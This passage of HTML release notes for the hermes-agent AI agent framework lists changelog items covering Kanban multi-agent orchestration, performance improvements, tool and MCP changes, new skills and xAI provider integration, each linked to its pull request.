<li>Drop foreign-issuer reasoning and transient <code>rs_tmp</code> reasoning replay state. (<a href="https://github.com/NousResearch/hermes-agent/pull/33156" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33156/hovercard">#33156</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/33146" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33146/hovercard">#33146</a>)</li>
<li>Codex 429 quota classified as rate-limit, not missing credentials. (<a href="https://github.com/NousResearch/hermes-agent/pull/33168" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33168/hovercard">#33168</a>)</li>
<li>Codex chat path falls back to credential_pool when singleton is empty. (<a href="https://github.com/NousResearch/hermes-agent/pull/33189" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33189/hovercard">#33189</a>)</li>
<li>Codex re-auth syncs credential_pool. (<a href="https://github.com/NousResearch/hermes-agent/pull/33164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33164/hovercard">#33164</a>)</li>
<li>Omit <code>tools</code> key when no tools registered. (<a href="https://github.com/NousResearch/hermes-agent/pull/33409" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33409/hovercard">#33409</a>)</li>
<li>Parse Codex image-generation SSE directly. (<a href="https://github.com/NousResearch/hermes-agent/pull/32933" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32933/hovercard">#32933</a>)</li>
</ul>
<hr>
<h2>🎛️ Kanban — Multi-Agent Maturation Wave</h2>
<h3>Orchestration &amp; dispatch</h3>
<ul>
<li>Orchestrator-driven auto-decomposition on triage. (<a href="https://github.com/NousResearch/hermes-agent/pull/27572" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27572/hovercard">#27572</a>)</li>
<li>Kanban swarm topology helper — <code>hermes kanban swarm</code> creates a Swarm v1 graph (root + parallel workers + gated verifier + gated synthesizer + shared blackboard). (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/26791" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26791/hovercard">#26791</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Niraven/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Niraven">@Niraven</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/28443" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28443/hovercard">#28443</a>)</li>
<li>Dispatcher wires review agents from the review column. (<a href="https://github.com/NousResearch/hermes-agent/pull/28449" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28449/hovercard">#28449</a>)</li>
<li>Stale-detection for running tasks in dispatcher. (<a href="https://github.com/NousResearch/hermes-agent/pull/28452" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28452/hovercard">#28452</a>)</li>
<li>Respawn guard blocks repeat worker storms. (<a href="https://github.com/NousResearch/hermes-agent/pull/28455" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28455/hovercard">#28455</a>)</li>
<li>Respawn guard defers <code>blocker_auth</code> instead of auto-blocking. (<a href="https://github.com/NousResearch/hermes-agent/pull/28683" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28683/hovercard">#28683</a>)</li>
<li>Cross-profile cron jobs surface in dashboard. (<a href="https://github.com/NousResearch/hermes-agent/pull/28457" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28457/hovercard">#28457</a>)</li>
<li>Worker visibility endpoints: <code>/workers/active</code>, <code>/runs/{id}</code>, <code>/inspect</code>. (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/23761" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23761/hovercard">#23761</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Interstellar-code/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Interstellar-code">@Interstellar-code</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/28432" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28432/hovercard">#28432</a>)</li>
</ul>
<h3>Task configuration &amp; scheduling</h3>
<ul>
<li>Per-task model override. (<a href="https://github.com/NousResearch/hermes-agent/pull/28364" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28364/hovercard">#28364</a>)</li>
<li>Board-level default workdir. (<a href="https://github.com/NousResearch/hermes-agent/pull/28394" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28394/hovercard">#28394</a>)</li>
<li>Configurable worktree paths and branches. (<a href="https://github.com/NousResearch/hermes-agent/pull/28462" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28462/hovercard">#28462</a>)</li>
<li>Scheduled task start times. (<a href="https://github.com/NousResearch/hermes-agent/pull/28384" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28384/hovercard">#28384</a>)</li>
<li>Scheduled status for delayed follow-ups. (<a href="https://github.com/NousResearch/hermes-agent/pull/28467" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28467/hovercard">#28467</a>)</li>
<li>Trimmed task comments. (<a href="https://github.com/NousResearch/hermes-agent/pull/28399" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28399/hovercard">#28399</a>)</li>
<li>Initial-status for human-ops cards. (<a href="https://github.com/NousResearch/hermes-agent/pull/28414" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28414/hovercard">#28414</a>)</li>
<li><code>max_in_progress</code> config to cap concurrent running tasks. (<a href="https://github.com/NousResearch/hermes-agent/pull/28420" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28420/hovercard">#28420</a>)</li>
<li>Filter tasks by workflow fields. (<a href="https://github.com/NousResearch/hermes-agent/pull/28454" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28454/hovercard">#28454</a>)</li>
<li><code>--sort</code> for <code>hermes kanban list</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/28427" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28427/hovercard">#28427</a>)</li>
<li>Optional <code>board</code> parameter on all MCP tools. (<a href="https://github.com/NousResearch/hermes-agent/pull/28444" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28444/hovercard">#28444</a>)</li>
<li>Stamp originating ACP session_id on tasks. (<a href="https://github.com/NousResearch/hermes-agent/pull/28447" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28447/hovercard">#28447</a>)</li>
<li><code>auto_promote_children</code> config toggle. (<a href="https://github.com/NousResearch/hermes-agent/pull/28344" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28344/hovercard">#28344</a>)</li>
<li><code>archive --rm</code> to hard-delete archived tasks. (<a href="https://github.com/NousResearch/hermes-agent/pull/28355" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28355/hovercard">#28355</a>)</li>
<li>Promote dependents when parent is archived. (<a href="https://github.com/NousResearch/hermes-agent/pull/28372" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28372/hovercard">#28372</a>)</li>
<li>Promote blocked tasks when parent dependencies complete. (<a href="https://github.com/NousResearch/hermes-agent/pull/28377" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28377/hovercard">#28377</a>)</li>
<li>Demote ready children when parent is reopened. (<a href="https://github.com/NousResearch/hermes-agent/pull/28382" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28382/hovercard">#28382</a>)</li>
<li><code>promote</code> verb for manual <code>todo→ready</code> recovery + bulk <code>--ids</code>. (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/29464" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29464/hovercard">#29464</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/31334" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31334/hovercard">#31334</a>)</li>
</ul>
<h3>Dashboard</h3>
<ul>
<li>Drag-to-delete trash zone + bulk delete. (<a href="https://github.com/NousResearch/hermes-agent/pull/28468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28468/hovercard">#28468</a>)</li>
<li>Surface per-task <code>model_override</code> in show + tool output. (<a href="https://github.com/NousResearch/hermes-agent/pull/28442" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28442/hovercard">#28442</a>)</li>
<li>Cross-profile notification delivery via <code>kanban.notification_sources</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/28395" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28395/hovercard">#28395</a>)</li>
<li>Scratch-workspace deletion warning for users. (<a href="https://github.com/NousResearch/hermes-agent/pull/30949" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30949/hovercard">#30949</a>)</li>
<li>Mobile dashboard UX polish. (<a href="https://github.com/NousResearch/hermes-agent/pull/28127" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28127/hovercard">#28127</a>)</li>
</ul>
<h3>Reliability</h3>
<ul>
<li>Worker log retention configurable. (<a href="https://github.com/NousResearch/hermes-agent/pull/27867" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27867/hovercard">#27867</a>)</li>
<li>Configurable claim TTL. (<a href="https://github.com/NousResearch/hermes-agent/pull/28392" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28392/hovercard">#28392</a>)</li>
<li>Fingerprint crash errors to prevent fleet-wide retry exhaustion. (<a href="https://github.com/NousResearch/hermes-agent/pull/28380" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28380/hovercard">#28380</a>)</li>
<li>Reset failure counters on <code>unblock_task</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/28379" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28379/hovercard">#28379</a>)</li>
<li>Detect cycles in <code>decompose_triage_task</code> sibling-link pre-validation. (<a href="https://github.com/NousResearch/hermes-agent/pull/28088" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28088/hovercard">#28088</a>)</li>
<li>Surface unusable triage auxiliary model (auto-decompose aware). (<a href="https://github.com/NousResearch/hermes-agent/pull/27871" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27871/hovercard">#27871</a>)</li>
<li>Align failure diagnostics with retry limit. (<a href="https://github.com/NousResearch/hermes-agent/pull/27868" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27868/hovercard">#27868</a>)</li>
<li>Align worker terminal timeout with task runtime. (<a href="https://github.com/NousResearch/hermes-agent/pull/27864" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27864/hovercard">#27864</a>)</li>
<li>Auto-install bundled skills (kanban-worker) on init. (<a href="https://github.com/NousResearch/hermes-agent/pull/28368" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28368/hovercard">#28368</a>)</li>
<li>Make legacy task migration idempotent. (<a href="https://github.com/NousResearch/hermes-agent/pull/28397" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28397/hovercard">#28397</a>)</li>
<li>Serialize DB initialization. (<a href="https://github.com/NousResearch/hermes-agent/pull/28383" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28383/hovercard">#28383</a>)</li>
<li>Persist worker session metadata on completion. (<a href="https://github.com/NousResearch/hermes-agent/pull/28387" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28387/hovercard">#28387</a>)</li>
<li>Pass <code>accept-hooks</code> to worker chat subprocess. (<a href="https://github.com/NousResearch/hermes-agent/pull/28393" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28393/hovercard">#28393</a>)</li>
<li>Preserve worker tools with restricted toolsets. (<a href="https://github.com/NousResearch/hermes-agent/pull/28396" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28396/hovercard">#28396</a>)</li>
<li>Avoid unsafe Windows worker Hermes shim resolution. (<a href="https://github.com/NousResearch/hermes-agent/pull/28398" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28398/hovercard">#28398</a>)</li>
<li>Sync slash subcommands with live parser. (<a href="https://github.com/NousResearch/hermes-agent/pull/28376" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28376/hovercard">#28376</a>)</li>
<li>Show scheduled kanban tasks in dashboard. (<a href="https://github.com/NousResearch/hermes-agent/pull/28400" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28400/hovercard">#28400</a>)</li>
<li>Assign single-task kanban decompositions. (<a href="https://github.com/NousResearch/hermes-agent/pull/28401" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28401/hovercard">#28401</a>)</li>
<li>Configurable <code>max_tokens</code> for kanban specify. (<a href="https://github.com/NousResearch/hermes-agent/pull/28374" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28374/hovercard">#28374</a>)</li>
<li>Per-job profile support for cron. (<a href="https://github.com/NousResearch/hermes-agent/pull/28124" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28124/hovercard">#28124</a>)</li>
<li>Codex app-server: include every Kanban-pinned path in <code>writable_roots</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/28435" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28435/hovercard">#28435</a>)</li>
<li>Cache kanban worker guidance at session init for prompt-cache reuse. (<a href="https://github.com/NousResearch/hermes-agent/pull/28425" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28425/hovercard">#28425</a>)</li>
</ul>
<hr>
<h2>⚡ Performance</h2>
<ul>
<li><code>openai._base_client</code> import deferred — 240ms / 17MB off every CLI cold start. (<a href="https://github.com/NousResearch/hermes-agent/pull/28864" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28864/hovercard">#28864</a>)</li>
<li>Agent-loop hot-path optimizations — 47% fewer per-conversation function calls (399k → 213k for 31-turn chat). (<a href="https://github.com/NousResearch/hermes-agent/pull/28866" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28866/hovercard">#28866</a>)</li>
<li>Compression-feasibility check deferred — 170-290ms off every agent construction. (<a href="https://github.com/NousResearch/hermes-agent/pull/28957" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28957/hovercard">#28957</a>)</li>
<li>Adaptive subprocess poll — ~195ms off every tool call, 1+ second per turn. (<a href="https://github.com/NousResearch/hermes-agent/pull/29006" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29006/hovercard">#29006</a>)</li>
<li>Termux TUI cold start speedup. (<a href="https://github.com/NousResearch/hermes-agent/pull/29419" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29419/hovercard">#29419</a>)</li>
<li>Termux non-TUI cold start speedup. (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/29438" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29438/hovercard">#29438</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30121" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30121/hovercard">#30121</a>)</li>
<li>Termux fast-path version + deferred bare-prompt agent startup. (<a href="https://github.com/NousResearch/hermes-agent/pull/30609" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30609/hovercard">#30609</a>)</li>
<li>Cut hermes <code>--version</code> wall time 63% — flips head-to-head vs Codex CLI. (<a href="https://github.com/NousResearch/hermes-agent/pull/31968" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31968/hovercard">#31968</a>)</li>
<li>Date-only timestamp + loud gateway-DB roundtrip logging — improves prompt-cache hit rate. (<a href="https://github.com/NousResearch/hermes-agent/pull/27675" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27675/hovercard">#27675</a>)</li>
<li>Cache kanban worker guidance at session init for prompt-cache reuse. (<a href="https://github.com/NousResearch/hermes-agent/pull/28425" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28425/hovercard">#28425</a>)</li>
</ul>
<hr>
<h2>🔧 Tool System</h2>
<h3>Tool surface</h3>
<ul>
<li><code>patch</code>: indent preservation, CRLF preservation, per-file failure escalation. (<a href="https://github.com/NousResearch/hermes-agent/pull/32273" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32273/hovercard">#32273</a>)</li>
<li><code>terminal</code>: warn at call time when <code>background=true</code> runs silently. (<a href="https://github.com/NousResearch/hermes-agent/pull/31289" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31289/hovercard">#31289</a>)</li>
<li><code>terminal</code>: nudge homebrewed CI pollers at the tool surface. (<a href="https://github.com/NousResearch/hermes-agent/pull/33142" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33142/hovercard">#33142</a>)</li>
<li><code>x_search</code>: surface degraded results + validate dates. (<a href="https://github.com/NousResearch/hermes-agent/pull/29484" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29484/hovercard">#29484</a>)</li>
<li><code>x_search</code>: auto-enable toolset when xAI credentials are configured. (<a href="https://github.com/NousResearch/hermes-agent/pull/27376" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27376/hovercard">#27376</a>)</li>
<li><code>computer_use</code>: route SOM/vision captures via auxiliary.vision. (<a href="https://github.com/NousResearch/hermes-agent/pull/30126" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30126/hovercard">#30126</a>)</li>
<li><code>transcription</code>: reject symlinked audio inputs. (<a href="https://github.com/NousResearch/hermes-agent/pull/10082" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/10082/hovercard">#10082</a>)</li>
<li>TTS: prevent double <code>[pause]</code> in xAI auto speech tags. (<a href="https://github.com/NousResearch/hermes-agent/pull/32237" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32237/hovercard">#32237</a>)</li>
<li>TTS: preserve native audio outside Telegram voice delivery. (<a href="https://github.com/NousResearch/hermes-agent/pull/28512" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28512/hovercard">#28512</a>)</li>
<li>TTS: opt-in xAI <code>auto_speech_tags</code> speech-tag pauses for natural voice replies. (<a href="https://github.com/NousResearch/hermes-agent/pull/29376" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29376/hovercard">#29376</a>)</li>
<li>Voice: chunk oversized CLI recordings. (<a href="https://github.com/NousResearch/hermes-agent/pull/30044" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30044/hovercard">#30044</a>)</li>
<li>Voice: honor <code>PULSE_SERVER</code> / <code>PIPEWIRE_REMOTE</code> inside Docker. (<a href="https://github.com/NousResearch/hermes-agent/pull/22534" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22534/hovercard">#22534</a>)</li>
</ul>
<h3>Browser</h3>
<ul>
<li>All cloud browser providers (Browserbase, Anchor, Camofox, Hyperbrowser, etc.) migrated to image_gen-style plugins. (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/25580" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25580/hovercard">#25580</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27403" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27403/hovercard">#27403</a>)</li>
<li>Auto-launch Chromium-family browser for CDP. (<a href="https://github.com/NousResearch/hermes-agent/pull/29106" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29106/hovercard">#29106</a>)</li>
<li>Docker: discover agent-browser Chromium binary at boot. (<a href="https://github.com/NousResearch/hermes-agent/pull/33184" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33184/hovercard">#33184</a>)</li>
</ul>
<h3>Image generation</h3>
<ul>
<li><strong>Krea</strong> provider plugin (Krea 2 Medium + Large). (<a href="https://github.com/NousResearch/hermes-agent/pull/33236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33236/hovercard">#33236</a>)</li>
<li>FAL backend ported to <code>plugins/image_gen/fal</code>. (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/27966" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27966/hovercard">#27966</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30380" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30380/hovercard">#30380</a>)</li>
<li>Cache xAI ephemeral URL responses to disk. (<a href="https://github.com/NousResearch/hermes-agent/pull/31759" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31759/hovercard">#31759</a>)</li>
</ul>
<h3>Web search</h3>
<ul>
<li><strong>xAI Web Search</strong> as a provider plugin. (<a href="https://github.com/NousResearch/hermes-agent/pull/29042" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29042/hovercard">#29042</a>)</li>
</ul>
<h3>MCP</h3>
<ul>
<li><strong>Nous-approved MCP catalog</strong> with interactive picker. (<a href="https://github.com/NousResearch/hermes-agent/pull/30870" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30870/hovercard">#30870</a>)</li>
<li><strong>TLS client certificate (mTLS) support</strong> for HTTP and SSE MCP servers. (<a href="https://github.com/NousResearch/hermes-agent/pull/33721" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33721/hovercard">#33721</a>)</li>
<li>Stdin paste-back fallback for headless OAuth flow. (<a href="https://github.com/NousResearch/hermes-agent/pull/32053" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32053/hovercard">#32053</a>)</li>
<li><code>skip</code> at paste prompt bypasses auth without disabling server. (<a href="https://github.com/NousResearch/hermes-agent/pull/32069" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32069/hovercard">#32069</a>)</li>
<li>Registry-aware <code>mcp_</code> prefix on both ends of round-trip. (<a href="https://github.com/NousResearch/hermes-agent/pull/31700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31700/hovercard">#31700</a>)</li>
</ul>
<hr>
<h2>🧩 Skills Ecosystem</h2>
<h3>Skills system</h3>
<ul>
<li><strong>Skill bundles</strong> — <code>/&lt;name&gt;</code> loads multiple skills. (<a href="https://github.com/NousResearch/hermes-agent/pull/28373" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28373/hovercard">#28373</a>)</li>
<li>Skills Hub: health checks, freshness badge, and a watchdog cron. (<a href="https://github.com/NousResearch/hermes-agent/pull/32345" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32345/hovercard">#32345</a>)</li>
<li>Opt-in AST deep diagnostics on skill writes. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/30918" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30918/hovercard">#30918</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/31198" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31198/hovercard">#31198</a>)</li>
<li>Bundled/pinned skill protection in background-review prompts. (<a href="https://github.com/NousResearch/hermes-agent/pull/28338" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28338/hovercard">#28338</a>)</li>
<li>Show user-modified skill names in bundled skill sync summary. (<a href="https://github.com/NousResearch/hermes-agent/pull/28671" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28671/hovercard">#28671</a>)</li>
<li>Load symlinked skill slash commands. (<a href="https://github.com/NousResearch/hermes-agent/pull/27759" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27759/hovercard">#27759</a>)</li>
<li>Deduplicate Skills Hub search results by identifier, not name. (<a href="https://github.com/NousResearch/hermes-agent/pull/29490" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29490/hovercard">#29490</a>)</li>
</ul>
<h3>New skills</h3>
<ul>
<li><code>openhands</code> — delegate-to-OpenHands orchestration skill (closes <a href="https://github.com/NousResearch/hermes-agent/issues/477" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/477/hovercard">#477</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/32261" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32261/hovercard">#32261</a>)</li>
<li><code>code-wiki</code> — persistent indexed dev wiki (closes <a href="https://github.com/NousResearch/hermes-agent/issues/486" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/486/hovercard">#486</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/32240" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32240/hovercard">#32240</a>)</li>
<li><code>web-pentest</code> — OWASP recipes (closes <a href="https://github.com/NousResearch/hermes-agent/issues/400" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/400/hovercard">#400</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/32265" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32265/hovercard">#32265</a>)</li>
<li><code>baoyu-article-illustrator</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/28287" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28287/hovercard">#28287</a>)</li>
</ul>
<hr>
<h2>☁️ Providers</h2>
<h3>xAI deep integration</h3>
<ul>
<li><strong>xAI Web Search</strong> as a <code>plugins/web/xai/</code> provider plugin. (<a href="https://github.com/NousResearch/hermes-agent/pull/29042" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29042/hovercard">#29042</a>)</li>
<li><strong><code>hermes proxy</code> xAI upstream</strong> — OpenAI-compatible local proxy backed by xai-oauth. (<a href="https://github.com/NousResearch/hermes-agent/pull/28356" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28356/hovercard">#28356</a>)</li>
<li><strong>May 15 model retirement detection + <code>hermes migrate xai</code></strong> for grok-4 / grok-3 / grok-code-fast-1 / grok-imagine-image-pro. (<a href="https://github.com/NousResearch/hermes-agent/pull/29277" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29277/hovercard">#29277</a>)</li>
<li><strong>Opt-in <code>auto_speech_tags</code></strong> for natural xAI TTS voice replies. (<a href="https://github.com/NousResearch/hermes-agent/pull/29376" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29376/hovercard">#29376</a>)</li>
<li><strong>xai-oauth base_url pinned to x.ai origin</strong> — closes silent credential-leak vector. (<a href="https://github.com/NousResearch/hermes-agent/pull/28952" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28952/hovercard">#28952</a>)</li>
<li><strong>OpenAI-style execution guidance</strong> applied to Grok / xai-oauth models. (<a href="https://github.com/NousResearch/hermes-agent/pull/27797" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27797/hovercard">#27797</a>)</li>
<li>xAI: detect retired May 15 models in doctor/chat startup. (<a href="https://github.com/NousResearch/hermes-agent/pull/29277" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29277/hovercard">#29277</a>)</li>
<li>xAI: resolve Grok Build context for OAuth. (<a href="https://github.com/NousResearch/hermes-agent/pull/30579" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30579/hovercard">#30579</a>)</li>
<li>xAI OAuth: tier-gated 403 with API-key fallback. (<a href="https://github.com/NousResearch/hermes-agent/pull/28351" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28351/hovercard">#28351</a>)</li>
<li>xAI OAuth: PKCE <code>code_challenge</code> echo. (<a href="https://github.com/NousResearch/hermes-agent/pull/27560" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27560/hovercard">#27560</a>)</li>
<li>xAI OAuth: quarantine dead tokens on terminal refresh failure. (<a href="https://github.com/NousResearch/hermes-agent/pull/28116" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28116/hovercard">#28116</a>)</li>
